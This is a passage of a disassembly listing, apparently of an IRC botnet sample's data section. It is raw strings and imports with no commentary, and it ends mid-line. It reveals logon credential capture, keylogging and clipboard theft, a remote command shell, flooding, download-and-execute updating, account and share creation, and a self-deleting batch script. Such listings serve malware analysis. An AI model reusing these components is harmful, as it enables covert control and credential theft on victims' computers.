'WINLOGON',0 ; DATA XREF: sub_409209+AFo align 10h unk_42CDC0 db 2 ; DATA XREF: sub_40966F+70o ; sub_409706+C7o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTheWindowsLo_0 db ' The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us' db 'er: (%S/%S).',0 align 4 unk_42CE2C db 2 ; DATA XREF: sub_409706+E1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTheWindowsLo_1 db ' The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us' db 'er: (%S/(N/A)).',0 align 4 aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_40981F+C50o align 4 aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_40981F+C48o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_40981F:loc_40A45Ao align 10h aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_40981F+BE6o align 10h aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_40981F+BD9o align 10h aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_40981F+BCCo align 10h aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_40981F+BBFo align 10h aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_40981F+BB2o align 10h aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_40981F+BAAo align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_40981F:loc_40A3BCo align 10h aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_40981F+B68o align 10h aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_40981F+B60o align 10h aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_40981F:loc_40A372o aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_40981F+B0Eo align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_40981F+B01o align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_40981F+AF4o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_40981F+AECo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_40981F:loc_40A2FEo aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_40981F+AAAo align 10h aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_40981F+AA2o align 10h aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_40981F:loc_40A2B4o align 10h aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_40981F+A60o align 10h aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_40981F+A58o align 4 aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_40981F:loc_40A26Ao align 4 aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_40981F+9CEo align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_40981F+9C1o align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_40981F+9B4o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_40981F+9A7o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_40981F+99Ao align 10h aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_40981F+98Do align 10h aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_40981F+980o align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_40981F+973o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_40981F+966o align 4 aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_40981F+959o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_40981F+951o aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_40981F:loc_40A15Fo align 10h aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_40981F+903o align 10h aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_40981F+8F6o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_40981F+8EEo align 10h aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_40981F:loc_40A100o align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_40981F+8B4o align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_40981F+842o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_40981F+835o align 10h aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_40981F+828o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_40981F+81Bo align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_40981F+80Eo align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_40981F+801o align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_40981F+7F4o align 10h aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_40981F+7E7o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_40981F+7DAo aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_40981F+7D2o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_40981F:loc_409FE0o aClosesocket db 'closesocket',0 ; DATA XREF: sub_40981F+688o aGetpeername db 'getpeername',0 ; DATA XREF: sub_40981F+67Bo aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_40981F+66Eo align 10h aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_40981F+661o align 10h aGethostname db 'gethostname',0 ; DATA XREF: sub_40981F+654o aGetsockname db 'getsockname',0 ; DATA XREF: sub_40981F+647o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_40981F+63Ao align 4 aAccept db 'accept',0 ; DATA XREF: sub_40981F+62Do align 4 aListen db 'listen',0 ; DATA XREF: sub_40981F+620o align 4 aSelect db 'select',0 ; DATA XREF: sub_40981F+613o align 4 aBind db 'bind',0 ; DATA XREF: sub_40981F+60Bo align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_40981F+5F9o align 10h aRecv db 'recv',0 ; DATA XREF: sub_40981F+5ECo align 4 aSendto db 'sendto',0 ; DATA XREF: sub_40981F+5DFo align 10h aSend db 'send',0 ; DATA XREF: sub_40981F+5D2o ; sub_40EE72+220Do align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_40981F+5C5o align 10h aNtohs db 'ntohs',0 ; DATA XREF: sub_40981F+5B8o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_40981F+5ABo align 10h aHtons db 'htons',0 ; DATA XREF: sub_40981F+59Eo align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_40981F+591o align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_40981F+584o align 10h aConnect db 'connect',0 ; DATA XREF: sub_40981F+577o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_40981F+56Ao aSocket db 'socket',0 ; DATA XREF: sub_40981F+55Do align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_40981F+550o align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_40981F+543o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_40981F+536o align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_40981F+529o align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_40981F+51Co align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_40981F+50Fo align 10h aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_40981F+507o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_40981F+4F6o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_40981F+483o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_40981F+476o align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_40981F+469o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_40981F+45Co align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_40981F+44Fo align 10h aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_40981F+442o align 10h aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_40981F+435o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_40981F+428o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_40981F+420o align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_40981F:loc_409C2Eo align 10h aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_40981F:loc_409C06o align 10h aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_40981F+38Fo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_40981F+382o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_40981F+375o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_40981F+368o align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_40981F+35Bo align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_40981F+34Eo align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_40981F+341o align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_40981F:loc_409B58o align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_40981F+309o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_40981F+2FCo align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_40981F:loc_409B13o align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_40981F+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_40981F+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_40981F+292o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_40981F+285o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_40981F+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_40981F+270o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_40981F:loc_409A7Eo align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_40981F+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_40981F+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_40981F+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_40981F:loc_409A17o align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_40981F+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_40981F+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_40981F+186o align 10h aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_40981F+179o align 10h aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_40981F+16Co align 10h aIswindow db 'IsWindow',0 ; DATA XREF: sub_40981F+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_40981F+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_40981F+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_40981F:loc_409954o ; sub_42105F+Do align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_40981F:loc_409927o align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_40981F+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_40981F+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_40981F+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_40981F+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_40981F+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_40981F+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_40981F+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_40981F+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_40981F+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40981F+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_40981F+23o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_40981F+Ao align 4 unk_42D764 db 2 ; DATA XREF: sub_40A4AC+2F2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Fh, 72h db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDllTestComplet db ' DLL test complete.',0 align 4 aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+2CCo align 10h aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+264o align 4 aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+230o align 4 aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+194o align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+160o align 4 aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+12Co align 10h aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+C4o align 10h aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+90o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+28o align 10h aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_40AA35+72o align 4 aMirc db 'mIRC',0 ; DATA XREF: sub_40AAFA+5o ; sub_415C5E+18o align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_40AB7C+1Co align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_40AC20+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40AC42+140o align 4 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_40AC42+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_40AC42+48o align 4 unk_42D9A8 db 2 ; DATA XREF: sub_40AE02:loc_40AEC1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aNotSupportedBy db ' Not supported by this system.',0 align 4 unk_42D9E8 db 2 ; DATA XREF: sub_40AE02:loc_40AE8Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUnableToAlloca db ' Unable to allocation ARP cache.',0 align 4 unk_42DA28 db 2 ; DATA XREF: sub_40AE02:loc_40AE5Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aArpCacheIsEmpt db ' ARP cache is empty.',0 align 4 unk_42DA5C db 2 ; DATA XREF: sub_40AE02+49o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorGettingAr db ' Error getting ARP cache: <%d>.',0 align 4 unk_42DA9C db 2 ; DATA XREF: sub_40AF86+13Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 69h, 6Eh db 67h ; g db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFinishedSendin db ' Finished sending pings to %s.',0 align 4 unk_42DAD8 db 2 ; DATA XREF: sub_40AF86+6Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 69h, 6Eh db 67h ; g db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSendingPi db ' Error sending pings to %s.',0 align 10h dword_42DB10 dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B112+1C6o dd 2BBBB02h aFinishedSend_0 db ' Finished sending packets to %s.',0 align 4 dword_42DB4C dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B112+8Eo dd 2BBBB02h aErrorSending_1 db ' Error sending pings to %s.',0 align 4 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40B390+33o dword_42DB94 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B417:loc_40B549o dd 2BBBB02h aCouldNotReadDa db ' Could not read data from proccess.',0Dh,0Ah,0 align 4 dword_42DBD4 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B417+10Fo dd 2BBBB02h aProccessHasTer db ' Proccess has terminated.',0Dh,0Ah,0 align 4 dword_42DC0C dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B417:loc_40B4FDo dd 2BBBB02h aCouldNotRead_0 db ' Could not read data from proccess',0Dh,0Ah,0 align 4 dword_42DC4C dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B56C+194o dd 2BBBB02h aFailedToStartI db ' Failed to start IO thread, error: <%d>.',0 align 10h dword_42DC90 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B56C+14Co dd 2BBBB02h aRemoteCommandP db ' Remote Command Prompt',0 aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_40B56C+21o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_40B721+52o aSysinfoCpuI64u db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:' ; DATA XREF: sub_40B8D8+297o db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:' db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:' db ' %s. [Uptime]: %s.',0 align 4 aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_40B8D8+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40B8D8:loc_40BA3Co align 10h word_42DDD0 dw 3Fh ; DATA XREF: sub_40B8D8:loc_40B9DAr ; sub_40D099+1Fo align 4 dword_42DDD4 dd 28207325h, 297325h ; DATA XREF: sub_40B8D8+EBo dword_42DDDC dd 3F3F3Fh ; DATA XREF: sub_40B8D8:loc_40B99Bo ; ___:loc_415C0Fo a2003 db '2003',0 ; DATA XREF: sub_40B8D8+BAo align 4 aXp db 'XP',0 ; DATA XREF: sub_40B8D8+AAo ; ___:00415BFAo align 4 a2k db '2K',0 ; DATA XREF: sub_40B8D8+98o ; ___:00415BEAo align 10h aMe db 'ME',0 ; DATA XREF: sub_40B8D8+7Eo ; ___:00415BD1o align 4 a98 db '98',0 ; DATA XREF: sub_40B8D8+6Co ; ___:00415BC1o align 4 aNt db 'NT',0 ; DATA XREF: sub_40B8D8+5Ao ; ___:00415BB1o align 4 a95 db '95',0 ; DATA XREF: sub_40B8D8+46o ; ___:00415BA3o align 10h aNetinfoTypeSS_ db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0 ; DATA XREF: sub_40BB8C+A4o align 10h off_42DE40 dd offset loc_412F4E ; DATA XREF: sub_40BB8C:loc_40BBF8o off_42DE44 dd offset dword_4E414C ; DATA XREF: sub_40BB8C:loc_40BBEEo dword_42DE48 dd 6C616944h, 70752Dh ; DATA XREF: sub_40BB8C+5Bo dword_42DE50 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_40BB8C+48o unk_42DE60 db 2 ; DATA XREF: sub_40BC4B:loc_40BE04o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 76h, 69h, 73h db 69h ; i db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToConnec db 'Failed to connect to HTTP server.',0 align 10h unk_42DEA0 db 2 ; DATA XREF: sub_40BC4B:loc_40BDFDo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 76h, 69h, 73h db 69h ; i db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aCouldNotOpenAC db 'Could not open a connection.',0 align 4 dword_42DEDC dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh ; DATA XREF: sub_40BC4B+1A0o dd 0BB022029h, 202002BBh, 61766E49h, 2064696Ch, 2E4C5255h dd 0 unk_42DF08 db 2 ; DATA XREF: sub_40BC4B:loc_40BDDEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 76h, 69h, 73h db 69h ; i db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToGetReq db 'Failed to get requested URL from HTTP server.',0 align 4 dword_42DF54 dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh ; DATA XREF: sub_40BC4B+18Co dd 0BB022029h, 202002BBh, 204C5255h, 69736976h, 2E646574h dd 0 dword_42DF80 dd 2A2F2Ah ; DATA XREF: sub_40BC4B+3Bo dword_42DF84 dd 202E6425h, 3D207325h, 732520h ; DATA XREF: sub_40BEF5+35o dword_42DF90 dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dh ; DATA XREF: sub_40BEF5+10o a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40BF6D+60o align 4 dword_42DFC4 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 1F702E73h, 29671F6Ch ; DATA XREF: sub_40C00D+1Ao dd 0BBBB0220h, 20202002h, 61656C43h, 2E646572h, 0 dword_42DFEC dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C07F+DCo dd 2BBBB02h, 694C2020h, 63207473h, 6C706D6Fh, 2E657465h dd 0 dword_42E018 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C07F+3Fo dd 2BBBB02h, 65422020h, 6E6967h dword_42E038 dd 80000002h, 42F6CCh, 80000002h, 42F6FCh, 80000001h, 42F734h ; DATA XREF: sub_40C1AE+7o dword_42E050 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C1AE+63o ; sub_40C351+170o dd 2BBBB02h aFailedToSendTo db ' Failed to send to Remote command shell.',0 align 4 dword_42E094 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C351+ABo dd 2BBBB02h aFailedToOpenRe db ' Failed to open remote command shell.',0 align 4 dword_42E0D4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C351+47o ; sub_40C512+FDo dd 2BBBB02h aFailedToOpenSo db ' Failed to open socket.',0 align 4 dword_42E108 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+362o ; sub_40C8B4+156o dd 2BBBB02h, 6F532020h, 74656B63h, 72726520h, 2E726Fh dword_42E130 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+2FAo dd 2BBBB02h aTransferComp_0 db ' Transfer complete to IP: %s, Filename: %s (%s bytes).',0 dword_42E180 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+202o dd 2BBBB02h aUnableToOpenSo db ' Unable to open socket.',0 align 4 dword_42E1B4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+1CBo dd 2BBBB02h, 65532020h, 7420646Eh, 6F656D69h, 2E7475h dword_42E1DC dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: sub_40C512+16Ao dd 169h dword_42E1F4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+127o dd 2BBBB02h aFileDoesnTExis db ' File doesn',27h,'t exist.',0 align 4 dword_42E224 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+82o dd 2BBBB02h aFailedToBindTo db ' Failed to bind to socket.',0 dword_42E258 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+44o dd 2BBBB02h aFailedToCreate db ' Failed to create socket.',0 align 4 dword_42E28C dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C8B4+1D1o dd 2BBBB02h aTransferComp_1 db ' Transfer complete from IP: %s, Filename: %s (%s bytes).',0 align 10h dword_42E2E0 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C8B4+CBo dd 2BBBB02h aErrorOpeningSo db ' Error opening socket.',0 dword_42E310 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C8B4+ABo dd 2BBBB02h aErrorOpeningFi db ' Error opening file for writing.',0 align 4 aAB db 'a+b',0 ; DATA XREF: sub_40C8B4+97o dword_42E350 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C8B4+83o dd 2BBBB02h aErrorUnableToW db ' Error unable to write file to disk.',0 align 10h unk_42E390 db 2 ; DATA XREF: sub_40CAF1+493o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aBadUrlOrDnsErr db ' Bad URL, or DNS Error: %s.',0 align 4 unk_42E3CC db 2 ; DATA XREF: sub_40CAF1+485o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUpdateFailedEr db ' Update failed: Error executing file: %s.',0 unk_42E414 db 2 ; DATA XREF: sub_40CAF1+3C9o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 